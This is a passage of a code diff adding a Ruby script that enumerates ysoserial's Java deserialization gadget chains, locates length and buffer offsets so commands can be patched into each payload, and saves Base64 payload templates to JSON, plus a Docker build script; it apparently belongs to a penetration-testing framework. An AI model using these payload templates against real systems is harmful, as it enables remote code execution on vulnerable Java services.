# Make sure the headers are intact, then skip over them
|
||||||
|
abort unless payloads[0] == 'Y SO SERIAL?'
|
||||||
|
payloads = payloads.drop(5)
|
||||||
|
|
||||||
|
payloadList = []
|
||||||
|
payloads.each do |line|
|
||||||
|
# Skip the header rows
|
||||||
|
next unless line.start_with? " "
|
||||||
|
payloadList.push(line.scan(/^ ([^ ]*) .*/).first.last)
|
||||||
|
end
|
||||||
|
|
||||||
|
payloadList
|
||||||
|
end
|
||||||
|
|
||||||
|
results = {}
|
||||||
|
payloadList = get_payload_list
|
||||||
|
payloadList.each do |payload|
|
||||||
|
STDERR.puts "Generating payloads for #{payload}..."
|
||||||
|
|
||||||
|
empty_payload = generate_payload(payload,0)
|
||||||
|
|
||||||
|
if empty_payload.nil?
|
||||||
|
STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported"
|
||||||
|
results[payload]={"status": "unsupported"}
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
payload_array = generate_payload_array(payload)
|
||||||
|
|
||||||
|
length_offsets = []
|
||||||
|
buffer_offsets = []
|
||||||
|
|
||||||
|
# Comparing diffs of various payload lengths to find length and buffer offsets
|
||||||
|
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
|
||||||
|
# Compare this binary with the next one
|
||||||
|
diffs = diff(payload_array[i],payload_array[i+1])
|
||||||
|
|
||||||
|
break if diffs.nil?
|
||||||
|
|
||||||
|
# Iterate through each diff, searching for offsets of the length and the payload
|
||||||
|
(0..diffs.length-1).each do |j|
|
||||||
|
current_byte = diffs[j]
|
||||||
|
next_byte = diffs[j+1]
|
||||||
|
prevByte = diffs[j-1]
|
||||||
|
|
||||||
|
if j > 0
|
||||||
|
# Skip this if we compared these two bytes on the previous iteration
|
||||||
|
next if prevByte.position == current_byte.position
|
||||||
|
end
|
||||||
|
|
||||||
|
# Compare this byte and the following byte to identify length and buffer offsets
|
||||||
|
length_offsets.push(current_byte.position) if isLengthOffset?(current_byte,next_byte)
|
||||||
|
buffer_offsets.push(current_byte.position) if isBufferOffset?(current_byte,next_byte)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if debug
|
||||||
|
for length_offset in length_offsets
|
||||||
|
STDERR.puts " LENGTH OFFSET #{length_offset} = 0x#{empty_payload[length_offset-1].ord.to_s(16)} #{empty_payload[length_offset].ord.to_s(16)}"
|
||||||
|
end
|
||||||
|
|
||||||
|
for buffer_offset in buffer_offsets
|
||||||
|
STDERR.puts " BUFFER OFFSET #{buffer_offset}"
|
||||||
|
end
|
||||||
|
STDERR.puts " PAYLOAD LENGTH: #{empty_payload.length}"
|
||||||
|
end
|
||||||
|
|
||||||
|
payloadBytes = Base64.strict_encode64(empty_payload).gsub(/\n/,"")
|
||||||
|
if buffer_offsets.length > 0
|
||||||
|
results[payload] = {
|
||||||
|
'status': 'dynamic',
|
||||||
|
'lengthOffset': length_offsets.uniq,
|
||||||
|
'bufferOffset': buffer_offsets.uniq,
|
||||||
|
'bytes': payloadBytes
|
||||||
|
}
|
||||||
|
else
|
||||||
|
#TODO: Turns out ysoserial doesn't have any static payloads. Consider removing this.
|
||||||
|
results[payload] = {
|
||||||
|
'status': 'static',
|
||||||
|
'bytes': payloadBytes
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
payloadCount = {}
|
||||||
|
payloadCount['skipped'] = 0
|
||||||
|
payloadCount['static'] = 0
|
||||||
|
payloadCount['dynamic'] = 0
|
||||||
|
|
||||||
|
results.each do |k,v|
|
||||||
|
if v[:status] == 'unsupported'
|
||||||
|
payloadCount['skipped'] += 1
|
||||||
|
elsif v[:status] == 'static'
|
||||||
|
payloadCount['static'] += 1
|
||||||
|
elsif v[:status] == 'dynamic'
|
||||||
|
payloadCount['dynamic'] += 1
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
unless debug
|
||||||
|
puts JSON.generate(results)
|
||||||
|
end
|
||||||
|
|
||||||
|
STDERR.puts "DONE! Successfully generated #{payloadCount['static']} static payloads and #{payloadCount['dynamic']} dynamic payloads. Skipped #{payloadCount['skipped']} unsupported payloads."
|
|
@ -0,0 +1,5 @@
|
||||||
|
#!/bin/sh
|
||||||
|
|
||||||
|
docker build -t ysoserial-payloads . && \
|
||||||
|
docker run -i ysoserial-payloads > ysoserial_payloads.json && \
|
||||||
|
mv ysoserial_payloads.json ../../../data
|
Loading…
Reference in New Issue